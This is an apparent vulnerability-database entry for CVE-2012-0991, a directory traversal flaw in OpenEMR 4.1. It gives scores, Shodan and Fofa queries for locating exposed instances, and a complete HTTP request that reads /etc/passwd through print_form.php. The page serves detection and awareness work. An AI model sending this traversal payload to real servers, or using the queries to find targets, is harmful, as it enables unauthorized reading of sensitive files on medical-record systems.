🔙 목록으로 돌아가기

CVE-2012-0991: OpenEMR 4.1 - Local File Inclusion

TitleOpenEMR 4.1 - Local File Inclusion
Authordaffainfo
SeverityLow
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationApply the latest security patches or upgrade to a newer version of OpenEMR.
CVSS Score3.5
EPSS Score0.47271
CVE IDCVE-2012-0991
CWE IDCWE-22
Shodan Queryhttp.html:"openemr"http.title:"openemr"http.favicon.hash:1971268439
Fofa Queryicon_hash=1971268439body="openemr"title="openemr"app="openemr"
Tags cve cve2012 lfi openemr traversal edb vuln

🔍 Vulnerability Description

Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.

🌐 HTTP Request

GET /contrib/acog/print_form.php?formname=../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-0991.yaml

🦈 Packet Capture: ⬇️ Download cve-2012-0991.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A